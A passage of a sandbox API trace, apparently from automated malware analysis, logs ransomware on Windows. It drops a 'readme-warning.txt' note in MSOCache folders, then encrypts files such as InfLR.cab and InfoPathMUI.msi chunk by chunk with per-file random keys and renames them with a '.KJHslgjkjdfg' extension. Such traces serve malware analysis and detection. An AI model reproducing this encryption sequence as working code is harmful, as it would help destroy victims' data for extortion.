dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.551] GetProcessHeap () returned 0x2a0000 [0135.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.551] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0135.551] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0135.551] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.551] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0135.551] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.552] GetProcessHeap () returned 0x2a0000 [0135.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.552] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0135.552] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0135.552] GetProcessHeap () returned 0x2a0000 [0135.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0135.552] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0135.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.552] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0135.553] CloseHandle (hObject=0x124) returned 1 [0135.554] GetProcessHeap () returned 0x2a0000 [0135.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0135.554] GetProcessHeap () returned 0x2a0000 [0135.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0135.554] GetProcessHeap () returned 0x2a0000 [0135.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0135.554] GetProcessHeap () returned 0x2a0000 [0135.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.554] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0135.554] GetProcessHeap () returned 0x2a0000 [0135.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0135.554] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0135.554] GetProcessHeap () returned 0x2a0000 [0135.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0135.554] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0135.562] GetProcessHeap () returned 0x2a0000 [0135.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0135.562] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0135.562] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0135.562] GetProcessHeap () returned 0x2a0000 [0135.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0135.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.563] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=18874884) returned 1 [0135.563] GetProcessHeap () returned 0x2a0000 [0135.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.563] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.563] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.563] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0xc, lpOverlapped=0x0) returned 1 [0135.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.565] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.565] GetProcessHeap () returned 0x2a0000 [0135.565] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.566] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30) returned 1 [0135.566] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.566] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f4*=0x30, lpOverlapped=0x0) returned 1 [0135.566] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.566] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.566] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.566] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.566] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.566] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.566] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.566] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.566] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.571] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.578] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.579] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.580] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.580] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.580] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.580] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.590] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.593] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.594] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.595] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.595] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.595] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.595] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.599] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.602] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.603] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.603] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.603] SetEndOfFile (hFile=0x124) returned 1 [0135.606] GetProcessHeap () returned 0x2a0000 [0135.606] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.606] GetProcessHeap () returned 0x2a0000 [0135.606] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.606] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.kjhslgjkjdfg")) returned 1 [0135.607] CloseHandle (hObject=0x124) returned 1 [0135.607] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0135.607] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.608] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=3124224) returned 1 [0135.608] GetProcessHeap () returned 0x2a0000 [0135.608] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.608] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.608] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.608] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.608] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.608] GetProcessHeap () returned 0x2a0000 [0135.608] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.608] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0135.608] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.608] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0135.610] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.610] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.610] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.611] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.611] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.611] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.611] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.611] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.611] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.615] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.621] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.621] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.622] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.622] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.623] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.623] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.635] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.638] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.638] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.641] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.641] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.641] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.641] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.650] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.658] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.658] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.660] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.660] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.660] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.660] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.660] SetEndOfFile (hFile=0x124) returned 1 [0135.665] GetProcessHeap () returned 0x2a0000 [0135.665] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.665] GetProcessHeap () returned 0x2a0000 [0135.665] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.665] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.kjhslgjkjdfg")) returned 1 [0135.666] CloseHandle (hObject=0x124) returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0135.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 